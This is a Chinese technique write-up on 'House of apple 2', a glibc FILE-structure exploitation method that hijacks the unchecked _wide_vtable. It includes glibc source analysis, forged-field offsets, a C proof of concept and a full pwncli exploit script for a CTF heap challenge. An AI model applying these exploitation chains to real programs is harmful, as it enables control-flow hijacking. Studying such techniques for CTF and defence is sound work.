首页 > 其他分享 >House of apple 一种新的glibc中IO攻击方法 (2)

House of apple 一种新的glibc中IO攻击方法 (2)

时间:2023-11-09 16:22:52浏览次数:41  
标签:fp wide vtable apple House glibc base IO data

目录

House of apple 一种新的glibc中IO攻击方法 (2)

本文首发于看雪论坛,仅在个人博客记录

分享一系列新的glibcIO利用思路,暂且命名为house of apple
这篇是house of apple2
本站的house of apple系列文章的地址为:

前言

之前提出了一种新的IO利用方法house of apple1。本篇是house of apple1的续集,继续给出基于IO_FILE->_wide_data的利用技巧。

house of apple1的总结里面提到: house of apple1 的利用链可以在任意地址写堆地址,相当于一次largebin attack的效果。因此,house of apple1 需要和其他方法结合而进行后续的FSOP利用。

那么在只劫持_wide_data的条件下能不能控制程序的执行流呢?答案是肯定的。

本篇的house of apple2会提出几条新的IO利用链,在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流。

关于前置知识这里就不赘述了,详情可看 house of apple1

利用条件

使用house of apple2的条件为:

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_wide_data,一般使用largebin attack去控制

利用原理

stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable,而当需要调用到vtable里面的函数指针时,会使用宏去调用。以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

其中,IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员。

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

因此,我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

以下面提到的_IO_wdefault_xsgetn函数利用为例,编写demo示例如下:

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}

void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");

    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);

    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

    size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
 
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: change stderr->_flags to 0x800");
    *(size_t *)stderr2 = 0x800;

    puts("[+] step 2: change stderr->_mode to 1");
    *(size_t *)(stderr2 + 0xc0) = 1;
 
    puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
    *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
 
    puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;
 
    puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
    *(size_t *)(p1 + 0xe0) = (size_t)p2;

    puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base");
    *(size_t *)(p1 + 0x20) = (size_t)1;

    puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
    *(size_t *)(p2 + 0x18) = (size_t)(&backdoor);

    puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);

}

编译后输出:

[*] allocate two 0x200 chunks
[*] puts address: 0x7f8f73d2e420
[*] libc base address: 0x7f8f73caa000
[*] _IO_2_1_stderr_ address: 0x7f8f73e975c0
[*] _IO_wstrn_jumps address: 0x7f8f73e92c60
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!

可以看到,成功调用了后门函数。

利用思路

目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF_IO_WUNDERFLOW_IO_WDOALLOCATE_IO_WOVERFLOW
其中_IO_WSETBUF_IO_WUNDERFLOW目前无法利用或利用困难,其余的均可构造合适的_IO_FILE进行利用。这里给出我总结的几条比较好利用的链。以下使用fp指代_IO_FILE结构体变量。

利用_IO_wfile_overflow函数控制程序执行流

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数的调用链如下:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下:
首先看_IO_wfile_overflow函数

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);// 需要走到这里
      // ......
    }
    }
}

需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0

然后看_IO_wdoallocbuf函数:

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

需要满足fp->_wide_data->_IO_buf_base != 0fp->_flags & _IO_UNBUFFERED == 0

利用_IO_wfile_underflow_mmap函数控制程序执行流

fp的设置如下:

  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数的调用链如下:

_IO_wfile_underflow_mmap
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下:
_IO_wfile_underflow_mmap函数:

static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;

  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;

  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
	{
	  free (fp->_wide_data->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_wdoallocbuf (fp);// 需要走到这里
    }
    //......
}

需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base == NULLfp->_wide_data->_IO_save_base == NULL

利用_IO_wdefault_xsgetn函数控制程序执行流

这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0。如果不满足这个条件,可选用其他链。

fp的设置如下:

  • _flags设置为0x800
  • vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可
  • _mode设置为大于0,即满足*(fp + 0xc0) > 0
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C

函数的调用链如下:

_IO_wdefault_xsgetn
    __wunderflow
        _IO_switch_to_wget_mode
            _IO_WOVERFLOW
                *(fp->_wide_data->_wide_vtable + 0x18)(fp)

详细分析如下:
首先看_IO_wdefault_xsgetn函数:

size_t
_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t more = n;
  wchar_t *s = (wchar_t*) data;
  for (;;)
    {
      /* Data available. */
      ssize_t count = (fp->_wide_data->_IO_read_end
                       - fp->_wide_data->_IO_read_ptr);
      if (count > 0)
	{
	  if ((size_t) count > more)
	    count = more;
	  if (count > 20)
	    {
	      s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
	      fp->_wide_data->_IO_read_ptr += count;
	    }
	  else if (count <= 0)
	    count = 0;
	  else
	    {
	      wchar_t *p = fp->_wide_data->_IO_read_ptr;
	      int i = (int) count;
	      while (--i >= 0)
		*s++ = *p++;
	      fp->_wide_data->_IO_read_ptr = p;
            }
            more -= count;
        }
      if (more == 0 || __wunderflow (fp) == WEOF)
	break;
    }
  return n - more;
}
libc_hidden_def (_IO_wdefault_xsgetn)

由于more是第三个参数,所以不能为0
直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end,使得count0,不进入if分支。
随后当more != 0时会进入__wunderflow

接着看__wunderflow

wint_t
__wunderflow (FILE *fp)
{
  if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))
    return WEOF;

  if (fp->_mode == 0)
    _IO_fwide (fp, 1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_wget_mode (fp) == EOF)
      return WEOF;
    // ......
}

要想调用到_IO_switch_to_wget_mode,需要设置fp->mode > 0,并且fp->_flags & _IO_CURRENTLY_PUTTING != 0

然后在_IO_switch_to_wget_mode函数中:

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 需要走到这里
      return EOF;
    // .....
}

当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base时就会调用_IO_WOVERFLOW(fp)

例题分析

仍然以house of apple1 中的pwn_oneday为例。

程序的详细分析就不在此赘述。为了方便展示利用效果,后面的rop部分就不做了,我们利用本篇文章提出的方法输出 hack!字符串。

largebin attack攻击_IO_list_all之后,伪造_IO_FILE结构:

target_addr = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810

f1 = IO_FILE_plus_struct()
f1.flags = u64_ex("  hack!")
f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

所以最后的exp为:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
 
from pwncli import *
 
cli_script()
 
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
small = 1
medium = 2
large = 3
key = 10
 
def add(c):
    sla("enter your command: \n", "1")
    sla("choise: ", str(c))
 
def dele(i):
    sla("enter your command: \n", "2")
    sla("Index: \n", str(i))
 
def read_once(i, data):
    sla("enter your command: \n", "3")
    sla("Index: ", str(i))
    sa("Message: \n", flat(data, length=0x110 * key))
 
def write_once(i):
    sla("enter your command: \n", "4")
    sla("Index: ", str(i))
    ru("Message: \n")
    m = rn(0x10)
    d1 = u64_ex(m[:8])
    d2 = u64_ex(m[8:])
    log_address_ex("d1")
    log_address_ex("d2")
    return d1, d2
 
def bye():
    sla("enter your command: \n", "9")
 
 
sla("enter your key >>\n", str(key))
 
add(medium)
add(medium)
add(small)
 
dele(2)
dele(1)
dele(0)
 
add(small)
add(small)
add(small)
add(small)
 
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
 
dele(4)
dele(6)
 
add(large)
add(small)
add(small)
 
dele(8)
add(large)
 
target_addr = libc.sym._IO_list_all
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810

f1 = IO_FILE_plus_struct()
f1.flags = u64_ex("  hack!")
f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

data = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0xe0: {# _wide_data->_wide_vtable
                0x18: 0, # f->_wide_data->_IO_write_base
                0x30: 0, # f->_wide_data->_IO_buf_base
                0xe0: fake_IO_FILE+0x200
            },
            0x200: {
                0x68: libc.sym.puts
            }
        },
        0xa80: [0, 0xab1]
    }
})

read_once(5, data)
 
dele(2)
add(large)
 
bye()
 
ia()

调试如下:
通过exit执行到_IO_wdoallocbuf
img

成功输出 hack!
img

总结

house of apple主要关注对_IO_FILE->_wide_data成员的攻击,并可以在劫持该成员之后改写地址内容或者控制程序执行流。

可以看到,对_wide_data->_wide_vtable虚表的成员函数指针调用时并不存在vtable的检查,因此,可以利用该漏洞进行FSOP

在实际利用的时候,可以观察寄存器的值,以便选择合适的gadget

标签:fp,wide,vtable,apple,House,glibc,base,IO,data
From: https://www.cnblogs.com/LynneHuan/p/17822091.html

相关文章

  • clickhouse节点重做(节点替换)
    测试验证环境:docker容器化部署的4节点2分片和2副本(centos7+clickhouse22.1.3)172.17.0.6clickhouse01172.17.0.7clickhouse02172.17.0.8clickhouse03172.17.0.9clickhouse04(故障节点)172.17.0.10clickhouse04(替换节点)节点重做一般情况,节点操作系统重装或......
  • glibc和musl libc的区别
    ++和gcc是GNU编译器集合中的两个组件,g++是GNUC++编译器,gcc是GNUC语言编译器。这两个编译器都使用glibc作为标准C库,glibc是GNU操作系统的标准C库,为支持C程序提供了许多函数和服务。简单来说,glibc是C标准库的一个实现,它包括头文件、函数库和其他的应用程序。而g++和gcc则是编译器......
  • linux 中查看GNU c库版本 libr.so.6(GLIBC版本)
     001、centos7中(base)[root@pc1test]#cat/etc/redhat-release##查看当前系统CentOSLinuxrelease7.6.1810(Core)(base)[root@pc1test]#ldd--version##查看gnuc库版本ldd(GNUlibc)2.17Copyright(C)2012FreeSoftwareFoundatio......
  • Apache Paimon 实时数据湖 Streaming Lakehouse 的存储底座
    摘要:本文整理自阿里云开源大数据表存储团队负责人,阿里巴巴高级技术专家李劲松(之信),在StreamingLakehouseMeetup的分享。内容主要分为四个部分:流计算邂逅数据湖PaimonCDC实时入湖Paimon不止CDC入湖总结与生态一、流计算邂逅数据湖流计算1.0实时预处理流计算1.0架构截止......
  • 大总结:uboot复习--Apple的学习笔记
    一,前言发现现在的uboot做的越来像linux驱动了,包括了设备树及其驱动模型。所以若复习设备树的话,在linux上学习和在uboot上学习是一样的,再加上我学习过了qemu仿真,所以想找到单步仿真调试方法。主要是am335x的调试器当时我焊接失败,所以只考虑仿真,另外发现stm32F407也有uboot支持,所以研......
  • 开发板nfs挂载桥接虚拟机的文件系统环境搭建--Apple的学习笔记
    一,前言我之前虚拟机配置的是NAT方式,不是桥接,然后Kernel及uboot都同nfs挂载。所以先改成了最简单的桥接方式的虚拟机。二,ubuntu虚拟机设置1,vmware先设置为桥接。2,设置ubuntu14.04的静态ip地址gedit/etc/network/interfaces内容autoeth0ifaceeth0inetstaticaddress192.168.7.......
  • 开发板nfs挂载NAT虚拟机的文件系统环境搭建--Apple的学习笔记
    一,前言总体来说我还是想用NAT虚拟机,所以基于开发板nfs挂载桥接虚拟机的文件系统环境搭建--Apple的学习笔记中的配置继续修改。二,ubuntu虚拟机中nfs挂载设置修改ip地址为192.168.112.11添加路由端口sudogedit/etc/services最后添加mountd9999/tcpmountd9999/udpPC以太网2设......
  • version `GLIBC_2.34' not found (required by ./rmblastn)
     001、问题如下: 002、解决方法:    003、 参考:01、 ......
  • IntelliJ IDEA在运行Applet小程序时中文乱码
    解决方法如下:第一种方法:在主界面点击文件→设置然后在设置界面选择编辑器→FileEncodings然后在下图所示界面的红框处,将utf-8改成GBK,确定保存即可第二种方法:在你所编辑的.java文件的右下方有一个编码方式,将其改为GBK然后点击convert即可.......
  • Hive / ClickHouse 行转列函数 collect_set() / groupUniqArray() 入门
    Hive/ClickHouse行转列函数collect_set()/groupUniqArray()入门在数据处理和分析中,我们经常会遇到需要将一行数据转换为多列的情况。在Hive和ClickHouse中,可以使用collect_set()和groupUniqArray()函数来实现行转列操作。collect_set()1.功能说明collect_set()函......